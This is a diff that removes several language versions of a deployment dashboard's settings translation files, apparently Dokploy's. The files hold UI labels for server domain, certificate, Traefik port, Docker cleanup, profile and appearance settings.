"settings.server.domain.description": "Füg eine Domain zu deiner Server-Anwendung hinzu.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-Mail",
"settings.server.domain.form.certificate.label": "Zertifikat",
"settings.server.domain.form.certificate.placeholder": "Wähl ein Zertifikat aus",
"settings.server.domain.form.certificateOptions.none": "Keins",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Standard)",
"settings.server.webServer.title": "Web-Server",
"settings.server.webServer.description": "Lade den Web-Server neu oder reinige ihn.",
"settings.server.webServer.actions": "Aktionen",
"settings.server.webServer.reload": "Neu laden",
"settings.server.webServer.watchLogs": "Logs anschauen",
"settings.server.webServer.updateServerIp": "Server-IP Aktualisieren",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Umgebungsvariablen ändern",
"settings.server.webServer.storage.label": "Speicherplatz",
"settings.server.webServer.storage.cleanUnusedImages": "Nicht genutzte Bilder löschen",
"settings.server.webServer.storage.cleanUnusedVolumes": "Nicht genutzte Volumes löschen",
"settings.server.webServer.storage.cleanStoppedContainers": "Gestoppte Container löschen",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & System bereinigen",
"settings.server.webServer.storage.cleanMonitoring": "Monitoring bereinigen",
"settings.server.webServer.storage.cleanAll": "Alles bereinigen",
"settings.profile.title": "Konto",
"settings.profile.description": "Ändere die Details deines Profiles hier.",
"settings.profile.email": "E-Mail",
"settings.profile.password": "Passwort",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aussehen",
"settings.appearance.description": "Pass das Design deines Dashboards an.",
"settings.appearance.theme": "Theme",
"settings.appearance.themeDescription": "Wähl ein Theme für dein Dashboard aus",
"settings.appearance.themes.light": "Hell",
"settings.appearance.themes.dark": "Dunkel",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Sprache",
"settings.appearance.languageDescription": "Wähl eine Sprache für dein Dashboard aus"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Save",
"settings.common.enterTerminal": "Terminal",
"settings.server.domain.title": "Server Domain",
"settings.server.domain.description": "Add a domain to your server application.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
"settings.server.domain.form.certificate.label": "Certificate Provider",
"settings.server.domain.form.certificate.placeholder": "Select a certificate",
"settings.server.domain.form.certificateOptions.none": "None",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web Server",
"settings.server.webServer.description": "Reload or clean the web server.",
"settings.server.webServer.actions": "Actions",
"settings.server.webServer.reload": "Reload",
"settings.server.webServer.watchLogs": "View Logs",
"settings.server.webServer.updateServerIp": "Update Server IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modify Environment",
"settings.server.webServer.traefik.managePorts": "Additional Port Mappings",
"settings.server.webServer.traefik.managePortsDescription": "Add or remove additional ports for Traefik",
"settings.server.webServer.traefik.targetPort": "Target Port",
"settings.server.webServer.traefik.publishedPort": "Published Port",
"settings.server.webServer.traefik.addPort": "Add Port",
"settings.server.webServer.traefik.portsUpdated": "Ports updated successfully",
"settings.server.webServer.traefik.portsUpdateError": "Failed to update ports",
"settings.server.webServer.traefik.publishMode": "Publish Mode",
"settings.server.webServer.storage.label": "Space",
"settings.server.webServer.storage.cleanUnusedImages": "Clean unused images",
"settings.server.webServer.storage.cleanUnusedVolumes": "Clean unused volumes",
"settings.server.webServer.storage.cleanStoppedContainers": "Clean stopped containers",
"settings.server.webServer.storage.cleanDockerBuilder": "Clean Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Clean Monitoring",
"settings.server.webServer.storage.cleanAll": "Clean all",
"settings.profile.title": "Account",
"settings.profile.description": "Change the details of your profile here.",
"settings.profile.email": "Email",
"settings.profile.password": "Password",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Appearance",
"settings.appearance.description": "Customize the theme of your dashboard.",
"settings.appearance.theme": "Theme",
"settings.appearance.themeDescription": "Select a theme for your dashboard",
"settings.appearance.themes.light": "Light",
"settings.appearance.themes.dark": "Dark",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Language",
"settings.appearance.languageDescription": "Select a language for your dashboard",
"settings.terminal.connectionSettings": "Connection settings",
"settings.terminal.ipAddress": "IP Address",
"settings.terminal.port": "Port",
"settings.terminal.username": "Username"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,52 +0,0 @@
{
"settings.common.save": "Guardar",
"settings.server.domain.title": "Dominio del Servidor",
"settings.server.domain.description": "Añade un dominio a tu aplicación de servidor.",
"settings.server.domain.form.domain": "Dominio",
"settings.server.domain.form.letsEncryptEmail": "Correo de Let's Encrypt",
"settings.server.domain.form.certificate.label": "Proveedor de Certificado",
"settings.server.domain.form.certificate.placeholder": "Selecciona un certificado",
"settings.server.domain.form.certificateOptions.none": "Ninguno",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Servidor Web",
"settings.server.webServer.description": "Recarga o limpia el servidor web.",
"settings.server.webServer.actions": "Acciones",
"settings.server.webServer.reload": "Recargar",
"settings.server.webServer.watchLogs": "Ver registros",
"settings.server.webServer.updateServerIp": "Actualizar IP del Servidor",
"settings.server.webServer.server.label": "Servidor",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modificar Entorno",
"settings.server.webServer.traefik.managePorts": "Asignación Adicional de Puertos",
"settings.server.webServer.traefik.managePortsDescription": "Añadir o eliminar puertos adicionales para Traefik",
"settings.server.webServer.traefik.targetPort": "Puerto de Destino",
"settings.server.webServer.traefik.publishedPort": "Puerto Publicado",
"settings.server.webServer.traefik.addPort": "Añadir Puerto",
"settings.server.webServer.traefik.portsUpdated": "Puertos actualizados correctamente",
"settings.server.webServer.traefik.portsUpdateError": "Error al actualizar los puertos",
"settings.server.webServer.traefik.publishMode": "Modo de Publicación",
"settings.server.webServer.storage.label": "Espacio",
"settings.server.webServer.storage.cleanUnusedImages": "Limpiar imágenes no utilizadas",
"settings.server.webServer.storage.cleanUnusedVolumes": "Limpiar volúmenes no utilizados",
"settings.server.webServer.storage.cleanStoppedContainers": "Limpiar contenedores detenidos",
"settings.server.webServer.storage.cleanDockerBuilder": "Limpiar Constructor de Docker y Sistema",
"settings.server.webServer.storage.cleanMonitoring": "Limpiar Monitoreo",
"settings.server.webServer.storage.cleanAll": "Limpiar todo",
"settings.profile.title": "Cuenta",
"settings.profile.description": "Cambia los detalles de tu perfil aquí.",
"settings.profile.email": "Correo electrónico",
"settings.profile.password": "Contraseña",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Apariencia",
"settings.appearance.description": "Personaliza el tema de tu panel.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Selecciona un tema para tu panel",
"settings.appearance.themes.light": "Claro",
"settings.appearance.themes.dark": "Oscuro",
"settings.appearance.themes.system": "Sistema",
"settings.appearance.language": "Idioma",
"settings.appearance.languageDescription": "Selecciona un idioma para tu panel"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "ذخیره",
"settings.server.domain.title": "دامنه سرور",
"settings.server.domain.description": "یک دامنه به برنامه سرور خود اضافه کنید.",
"settings.server.domain.form.domain": "دامنه",
"settings.server.domain.form.letsEncryptEmail": "ایمیل Let's Encrypt",
"settings.server.domain.form.certificate.label": "گواهینامه",
"settings.server.domain.form.certificate.placeholder": "یک گواهینامه انتخاب کنید",
"settings.server.domain.form.certificateOptions.none": "هیچکدام",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (پیش‌فرض)",
"settings.server.webServer.title": "وب سرور",
"settings.server.webServer.description": "وب سرور را بازنشانی یا پاک کنید.",
"settings.server.webServer.actions": "اقدامات",
"settings.server.webServer.reload": "بارگذاری مجدد",
"settings.server.webServer.watchLogs": "مشاهده گزارش‌ها",
"settings.server.webServer.updateServerIp": "به‌روزرسانی آی‌پی سرور",
"settings.server.webServer.server.label": "سرور",
"settings.server.webServer.traefik.label": "ترافیک",
"settings.server.webServer.traefik.modifyEnv": "ویرایش محیط",
"settings.server.webServer.storage.label": "فضا",
"settings.server.webServer.storage.cleanUnusedImages": "پاکسازی Image های بدون استفاده",
"settings.server.webServer.storage.cleanUnusedVolumes": "پاک‌سازی ولوم‌های بدون استفاده",
"settings.server.webServer.storage.cleanStoppedContainers": "پاک‌سازی کانتینرهای متوقف‌شده",
"settings.server.webServer.storage.cleanDockerBuilder": "پاک‌سازی بیلدر و سیستم داکر",
"settings.server.webServer.storage.cleanMonitoring": "پاک‌سازی پایش",
"settings.server.webServer.storage.cleanAll": "پاک‌سازی همه",
"settings.profile.title": "حساب کاربری",
"settings.profile.description": "جزئیات پروفایل خود را در اینجا تغییر دهید.",
"settings.profile.email": "ایمیل",
"settings.profile.password": "رمز عبور",
"settings.profile.avatar": "تصویر پروفایل",
"settings.appearance.title": "ظاهر",
"settings.appearance.description": "تم داشبورد خود را سفارشی کنید.",
"settings.appearance.theme": "تم",
"settings.appearance.themeDescription": "یک تم برای داشبورد خود انتخاب کنید",
"settings.appearance.themes.light": "روشن",
"settings.appearance.themes.dark": "تاریک",
"settings.appearance.themes.system": "سیستم",
"settings.appearance.language": "زبان",
"settings.appearance.languageDescription": "یک زبان برای داشبورد خود انتخاب کنید"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Sauvegarder",
"settings.server.domain.title": "Nom de domaine du serveur",
"settings.server.domain.description": "Ajouter un nom de domaine au serveur de votre application.",
"settings.server.domain.form.domain": "Domaine",
"settings.server.domain.form.letsEncryptEmail": "Adresse email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificat",
"settings.server.domain.form.certificate.placeholder": "Choisir un certificat",
"settings.server.domain.form.certificateOptions.none": "Aucun",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Par défaut)",
"settings.server.webServer.title": "Serveur web",
"settings.server.webServer.description": "Recharger ou nettoyer le serveur web.",
"settings.server.webServer.actions": "Actions",
"settings.server.webServer.reload": "Recharger",
"settings.server.webServer.watchLogs": "Consulter les logs",
"settings.server.webServer.updateServerIp": "Mettre à jour l'IP du serveur",
"settings.server.webServer.server.label": "Serveur",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modifier les variables d'environnement",
"settings.server.webServer.storage.label": "Stockage",
"settings.server.webServer.storage.cleanUnusedImages": "Supprimer les images inutilisées",
"settings.server.webServer.storage.cleanUnusedVolumes": "Supprimer les volumes inutilisés",
"settings.server.webServer.storage.cleanStoppedContainers": "Supprimer les conteneurs arrêtés",
"settings.server.webServer.storage.cleanDockerBuilder": "Nettoyer le Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Nettoyer le monitoring",
"settings.server.webServer.storage.cleanAll": "Tout nettoyer",
"settings.profile.title": "Compte",
"settings.profile.description": "Modifier les informations de votre compte ici.",
"settings.profile.email": "Adresse Email",
"settings.profile.password": "Mot de passe",
"settings.profile.avatar": "Photo de profil",
"settings.appearance.title": "Apparence",
"settings.appearance.description": "Customiser le thème de votre dashboard.",
"settings.appearance.theme": "Thème",
"settings.appearance.themeDescription": "Choisir un thème pour votre dashboard",
"settings.appearance.themes.light": "Clair",
"settings.appearance.themes.dark": "Sombre",
"settings.appearance.themes.system": "Système",
"settings.appearance.language": "Langue",
"settings.appearance.languageDescription": "Sélectionner une langue pour votre dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Simpan",
"settings.common.enterTerminal": "Buka Terminal",
"settings.server.domain.title": "Domain Server",
"settings.server.domain.description": "Tambahkan domain ke aplikasi server anda.",
"settings.server.domain.form.domain": "Domain",
"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Penyedia Sertifikat",
"settings.server.domain.form.certificate.placeholder": "Pilih sertifikat",
"settings.server.domain.form.certificateOptions.none": "Tidak ada",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Server Web",
"settings.server.webServer.description": "Muat ulang atau bersihkan server web.",
"settings.server.webServer.actions": "Opsi",
"settings.server.webServer.reload": "Muat ulang",
"settings.server.webServer.watchLogs": "Lihat log",
"settings.server.webServer.updateServerIp": "Perbarui IP Server",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Ubah Environment",
"settings.server.webServer.traefik.managePorts": "Pengaturan Port Tambahan",
"settings.server.webServer.traefik.managePortsDescription": "Tambahkan atau hapus port tambahan untuk Traefik",
"settings.server.webServer.traefik.targetPort": "Port Tujuan",
"settings.server.webServer.traefik.publishedPort": "Port saai ini",
"settings.server.webServer.traefik.addPort": "Tambah Port",
"settings.server.webServer.traefik.portsUpdated": "Port berhasil diperbarui",
"settings.server.webServer.traefik.portsUpdateError": "Gagal memperbarui Port",
"settings.server.webServer.traefik.publishMode": "Pilihan mode Port",
"settings.server.webServer.storage.label": "Penyimpanan",
"settings.server.webServer.storage.cleanUnusedImages": "Hapus Image tidak terpakai",
"settings.server.webServer.storage.cleanUnusedVolumes": "Hapus Volume tidak terpakai",
"settings.server.webServer.storage.cleanStoppedContainers": "Hapus Container tidak aktif",
"settings.server.webServer.storage.cleanDockerBuilder": "Bersihkan Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Bersihkan Monitoring",
"settings.server.webServer.storage.cleanAll": "Bersihkan",
"settings.profile.title": "Akun",
"settings.profile.description": "Ubah detail profil Anda di sini.",
"settings.profile.email": "Email",
"settings.profile.password": "Kata Sandi",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Tampilan",
"settings.appearance.description": "Sesuaikan tema dasbor Anda.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Pilih tema untuk dasbor Anda",
"settings.appearance.themes.light": "Terang",
"settings.appearance.themes.dark": "Gelap",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Bahasa",
"settings.appearance.languageDescription": "Pilih bahasa untuk dasbor Anda",
"settings.terminal.connectionSettings": "Pengaturan koneksi",
"settings.terminal.ipAddress": "Alamat IP",
"settings.terminal.port": "Port",
"settings.terminal.username": "Username"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Salva",
"settings.server.domain.title": "Dominio del server",
"settings.server.domain.description": "Aggiungi un dominio alla tua applicazione server.",
"settings.server.domain.form.domain": "Dominio",
"settings.server.domain.form.letsEncryptEmail": "Email di Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificato",
"settings.server.domain.form.certificate.placeholder": "Seleziona un certificato",
"settings.server.domain.form.certificateOptions.none": "Nessuno",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Predefinito)",
"settings.server.webServer.title": "Server Web",
"settings.server.webServer.description": "Ricarica o pulisci il server web.",
"settings.server.webServer.actions": "Azioni",
"settings.server.webServer.reload": "Ricarica",
"settings.server.webServer.watchLogs": "Guarda i log",
"settings.server.webServer.updateServerIp": "Aggiorna IP del server",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Modifica Env",
"settings.server.webServer.storage.label": "Spazio",
"settings.server.webServer.storage.cleanUnusedImages": "Pulisci immagini inutilizzate",
"settings.server.webServer.storage.cleanUnusedVolumes": "Pulisci volumi inutilizzati",
"settings.server.webServer.storage.cleanStoppedContainers": "Pulisci container fermati",
"settings.server.webServer.storage.cleanDockerBuilder": "Pulisci Docker Builder e sistema",
"settings.server.webServer.storage.cleanMonitoring": "Pulisci monitoraggio",
"settings.server.webServer.storage.cleanAll": "Pulisci tutto",
"settings.profile.title": "Account",
"settings.profile.description": "Modifica i dettagli del tuo profilo qui.",
"settings.profile.email": "Email",
"settings.profile.password": "Password",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aspetto",
"settings.appearance.description": "Personalizza il tema della tua dashboard.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Seleziona un tema per la tua dashboard",
"settings.appearance.themes.light": "Chiaro",
"settings.appearance.themes.dark": "Scuro",
"settings.appearance.themes.system": "Sistema",
"settings.appearance.language": "Lingua",
"settings.appearance.languageDescription": "Seleziona una lingua per la tua dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "保存",
"settings.server.domain.title": "サーバードメイン",
"settings.server.domain.description": "サーバーアプリケーションにドメインを追加",
"settings.server.domain.form.domain": "ドメイン",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt メールアドレス",
"settings.server.domain.form.certificate.label": "証明書",
"settings.server.domain.form.certificate.placeholder": "証明書を選択",
"settings.server.domain.form.certificateOptions.none": "なし",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (デフォルト)",
"settings.server.webServer.title": "ウェブサーバー",
"settings.server.webServer.description": "ウェブサーバーをリロードまたはクリーンアップします",
"settings.server.webServer.actions": "アクション",
"settings.server.webServer.reload": "リロード",
"settings.server.webServer.watchLogs": "ログを監視",
"settings.server.webServer.updateServerIp": "サーバーIPを更新",
"settings.server.webServer.server.label": "サーバー",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "環境設定を変更",
"settings.server.webServer.storage.label": "ストレージ",
"settings.server.webServer.storage.cleanUnusedImages": "未使用のイメージを削除",
"settings.server.webServer.storage.cleanUnusedVolumes": "未使用のボリュームを削除",
"settings.server.webServer.storage.cleanStoppedContainers": "停止中のコンテナを削除",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker ビルダー&システムをクリーンアップ",
"settings.server.webServer.storage.cleanMonitoring": "モニタリングをクリーンアップ",
"settings.server.webServer.storage.cleanAll": "すべてをクリーンアップ",
"settings.profile.title": "アカウント",
"settings.profile.description": "ここでプロフィールの詳細を変更できます",
"settings.profile.email": "メールアドレス",
"settings.profile.password": "パスワード",
"settings.profile.avatar": "アバター",
"settings.appearance.title": "外観",
"settings.appearance.description": "ダッシュボードのテーマをカスタマイズ",
"settings.appearance.theme": "テーマ",
"settings.appearance.themeDescription": "ダッシュボードのテーマを選択してください",
"settings.appearance.themes.light": "ライト",
"settings.appearance.themes.dark": "ダーク",
"settings.appearance.themes.system": "システム",
"settings.appearance.language": "言語",
"settings.appearance.languageDescription": "ダッシュボードの言語を選択してください"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "저장",
"settings.server.domain.title": "서버 도메인",
"settings.server.domain.description": "서버 애플리케이션에 도메인을 추가합니다.",
"settings.server.domain.form.domain": "도메인",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 이메일",
"settings.server.domain.form.certificate.label": "인증서",
"settings.server.domain.form.certificate.placeholder": "인증서 선택",
"settings.server.domain.form.certificateOptions.none": "없음",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (기본)",
"settings.server.webServer.title": "웹 서버",
"settings.server.webServer.description": "웹 서버를 재시작하거나 정리합니다.",
"settings.server.webServer.actions": "작업",
"settings.server.webServer.reload": "재시작",
"settings.server.webServer.watchLogs": "로그 보기",
"settings.server.webServer.updateServerIp": "서버 IP 갱신",
"settings.server.webServer.server.label": "서버",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "환경 변수 수정",
"settings.server.webServer.storage.label": "저장 공간",
"settings.server.webServer.storage.cleanUnusedImages": "사용하지 않는 이미지 정리",
"settings.server.webServer.storage.cleanUnusedVolumes": "사용하지 않는 볼륨 정리",
"settings.server.webServer.storage.cleanStoppedContainers": "정지된 컨테이너 정리",
"settings.server.webServer.storage.cleanDockerBuilder": "도커 빌더 & 시스템 정리",
"settings.server.webServer.storage.cleanMonitoring": "모니터링 데이터 정리",
"settings.server.webServer.storage.cleanAll": "전체 정리",
"settings.profile.title": "계정",
"settings.profile.description": "여기에서 프로필 세부 정보를 변경하세요.",
"settings.profile.email": "이메일",
"settings.profile.password": "비밀번호",
"settings.profile.avatar": "아바타",
"settings.appearance.title": "외관",
"settings.appearance.description": "대시보드의 테마를 사용자 설정합니다.",
"settings.appearance.theme": "테마",
"settings.appearance.themeDescription": "대시보드 테마 선택",
"settings.appearance.themes.light": "라이트",
"settings.appearance.themes.dark": "다크",
"settings.appearance.themes.system": "시스템",
"settings.appearance.language": "언어",
"settings.appearance.languageDescription": "대시보드에서 사용할 언어 선택"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,41 +0,0 @@
{
"settings.common.save": "Сақтау",
"settings.server.domain.title": "Сервер домені",
"settings.server.domain.description": "Dokploy сервер қолданбасына домен енгізіңіз.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Эл. поштасы",
"settings.server.domain.form.certificate.label": "Сертификат",
"settings.server.domain.form.certificate.placeholder": "Сертификатты таңдаңыз",
"settings.server.domain.form.certificateOptions.none": "Жоқ",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Стандартты)",
"settings.server.webServer.title": "Веб-Сервер",
"settings.server.webServer.description": "Веб-серверді қайта жүктеу немесе тазалау.",
"settings.server.webServer.actions": "Әрекеттер",
"settings.server.webServer.reload": "Қайта жүктеу",
"settings.server.webServer.watchLogs": "Журналдарды қарау",
"settings.server.webServer.updateServerIp": "Сервердің IP жаңарту",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Env Өзгерту",
"settings.server.webServer.storage.label": "Диск кеңістігі",
"settings.server.webServer.storage.cleanUnusedImages": "Пайдаланылмаған образды тазалау",
"settings.server.webServer.storage.cleanUnusedVolumes": "Пайдаланылмаған томды тазалау",
"settings.server.webServer.storage.cleanStoppedContainers": "Тоқтатылған контейнерлерді тазалау",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder & Системаны тазалау",
"settings.server.webServer.storage.cleanMonitoring": "Мониторингті тазалау",
"settings.server.webServer.storage.cleanAll": "Барлығын тазалау",
"settings.profile.title": "Аккаунт",
"settings.profile.description": "Профиль мәліметтерін осы жерден өзгертіңіз.",
"settings.profile.email": "Эл. пошта",
"settings.profile.password": "Құпия сөз",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Сыртқы түрі",
"settings.appearance.description": "Dokploy сыртқы келбетін өзгерту.",
"settings.appearance.theme": "Келбеті",
"settings.appearance.themeDescription": "Жүйе тақтасының келбетің таңдаңыз",
"settings.appearance.themes.light": "Жарық",
"settings.appearance.themes.dark": "Қараңғы",
"settings.appearance.themes.system": "Жүйелік",
"settings.appearance.language": "Тіл",
"settings.appearance.languageDescription": "Жүйе тақтасының тілің таңдаңыз"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "സേവ് ചെയ്യുക",
"settings.common.enterTerminal": "ടർമിനലിൽ പ്രവേശിക്കുക",
"settings.server.domain.title": "സർവർ ഡോമെയ്ൻ",
"settings.server.domain.description": "നിങ്ങളുടെ സർവർ അപ്ലിക്കേഷനിൽ ഒരു ഡോമെയ്ൻ ചേർക്കുക.",
"settings.server.domain.form.domain": "ഡോമെയ്ൻ",
"settings.server.domain.form.letsEncryptEmail": "ലെറ്റ്സ് എൻക്രിപ്റ്റ് ഇമെയിൽ",
"settings.server.domain.form.certificate.label": "സർട്ടിഫിക്കറ്റ് പ്രൊവൈഡർ",
"settings.server.domain.form.certificate.placeholder": "ഒരു സർട്ടിഫിക്കറ്റ് തിരഞ്ഞെടുക്കുക",
"settings.server.domain.form.certificateOptions.none": "ഒന്നുമില്ല",
"settings.server.domain.form.certificateOptions.letsencrypt": "ലെറ്റ്സ് എൻക്രിപ്റ്റ്",
"settings.server.webServer.title": "വെബ് സർവർ",
"settings.server.webServer.description": "വെബ് സർവർ റീലോഡ് ചെയ്യുക അല്ലെങ്കിൽ ശുചീകരിക്കുക.",
"settings.server.webServer.actions": "നടപടികൾ",
"settings.server.webServer.reload": "റീലോഡ് ചെയ്യുക",
"settings.server.webServer.watchLogs": "ലോഗുകൾ കാണുക",
"settings.server.webServer.updateServerIp": "സർവർ IP അപ്ഡേറ്റ് ചെയ്യുക",
"settings.server.webServer.server.label": "സർവർ",
"settings.server.webServer.traefik.label": "ട്രാഫിക്",
"settings.server.webServer.traefik.modifyEnv": "ചുറ്റുപാടുകൾ മാറ്റുക",
"settings.server.webServer.traefik.managePorts": "അധിക പോർട്ട് മാപ്പിംഗ്",
"settings.server.webServer.traefik.managePortsDescription": "ട്രാഫിക്കിനായി അധിക പോർട്ടുകൾ ചേർക്കുക അല്ലെങ്കിൽ നീക്കം ചെയ്യുക",
"settings.server.webServer.traefik.targetPort": "ടാർഗറ്റ് പോർട്ട്",
"settings.server.webServer.traefik.publishedPort": "പ്രസിദ്ധീകരിച്ച പോർട്ട്",
"settings.server.webServer.traefik.addPort": "പോർട്ട് ചേർക്കുക",
"settings.server.webServer.traefik.portsUpdated": "പോർട്ടുകൾ വിജയകരമായി അപ്ഡേറ്റ് ചെയ്തു",
"settings.server.webServer.traefik.portsUpdateError": "പോർട്ടുകൾ അപ്ഡേറ്റ് ചെയ്യാൻ പരാജയപ്പെട്ടു",
"settings.server.webServer.traefik.publishMode": "പ്രസിദ്ധീകരണ മോഡ്",
"settings.server.webServer.storage.label": "ഇടം",
"settings.server.webServer.storage.cleanUnusedImages": "ഉപയോഗിക്കാത്ത ഇമേജുകൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanUnusedVolumes": "ഉപയോഗിക്കാത്ത വോള്യങ്ങൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanStoppedContainers": "നിർത്തിയ കണ്ടെയ്‌നറുകൾ ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanDockerBuilder": "ഡോക്കർ ബിൽഡറും സിസ്റ്റവും ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanMonitoring": "മോണിറ്ററിംഗ് ശുചീകരിക്കുക",
"settings.server.webServer.storage.cleanAll": "എല്ലാം ശുചീകരിക്കുക",
"settings.profile.title": "അക്കൗണ്ട്",
"settings.profile.description": "നിങ്ങളുടെ പ്രൊഫൈൽ വിശദാംശങ്ങൾ ഇവിടെ മാറ്റുക.",
"settings.profile.email": "ഇമെയിൽ",
"settings.profile.password": "പാസ്വേഡ്",
"settings.profile.avatar": "അവതാർ",
"settings.appearance.title": "ദൃശ്യമാനം",
"settings.appearance.description": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന്റെ തീം ഇഷ്ടാനുസൃതമാക്കുക.",
"settings.appearance.theme": "തീം",
"settings.appearance.themeDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു തീം തിരഞ്ഞെടുക്കുക",
"settings.appearance.themes.light": "ലൈറ്റ്",
"settings.appearance.themes.dark": "ഡാർക്ക്",
"settings.appearance.themes.system": "സിസ്റ്റം",
"settings.appearance.language": "ഭാഷ",
"settings.appearance.languageDescription": "നിങ്ങളുടെ ഡാഷ്ബോർഡിന് ഒരു ഭാഷ തിരഞ്ഞെടുക്കുക",
"settings.terminal.connectionSettings": "കണക്ഷൻ ക്രമീകരണങ്ങൾ",
"settings.terminal.ipAddress": "IP വിലാസം",
"settings.terminal.port": "പോർട്ട്",
"settings.terminal.username": "ഉപയോക്തൃനാമം"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Opslaan",
"settings.common.enterTerminal": "Terminal",
"settings.server.domain.title": "Server Domein",
"settings.server.domain.description": "Voeg een domein toe aan jouw server applicatie.",
"settings.server.domain.form.domain": "Domein",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Email",
"settings.server.domain.form.certificate.label": "Certificaat Aanbieder",
"settings.server.domain.form.certificate.placeholder": "Select een certificaat",
"settings.server.domain.form.certificateOptions.none": "Geen",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web Server",
"settings.server.webServer.description": "Herlaad of maak de web server schoon.",
"settings.server.webServer.actions": "Acties",
"settings.server.webServer.reload": "Herladen",
"settings.server.webServer.watchLogs": "Bekijk Logs",
"settings.server.webServer.updateServerIp": "Update de Server IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Bewerk Omgeving",
"settings.server.webServer.traefik.managePorts": "Extra Poort Mappings",
"settings.server.webServer.traefik.managePortsDescription": "Bewerk extra Poorten voor Traefik",
"settings.server.webServer.traefik.targetPort": "Doel Poort",
"settings.server.webServer.traefik.publishedPort": "Gepubliceerde Poort",
"settings.server.webServer.traefik.addPort": "Voeg Poort toe",
"settings.server.webServer.traefik.portsUpdated": "Poorten succesvol aangepast",
"settings.server.webServer.traefik.portsUpdateError": "Poorten niet succesvol aangepast",
"settings.server.webServer.traefik.publishMode": "Publiceer Mode",
"settings.server.webServer.storage.label": "Opslag",
"settings.server.webServer.storage.cleanUnusedImages": "Maak ongebruikte images schoon",
"settings.server.webServer.storage.cleanUnusedVolumes": "Maak ongebruikte volumes schoon",
"settings.server.webServer.storage.cleanStoppedContainers": "Maak gestopte containers schoon",
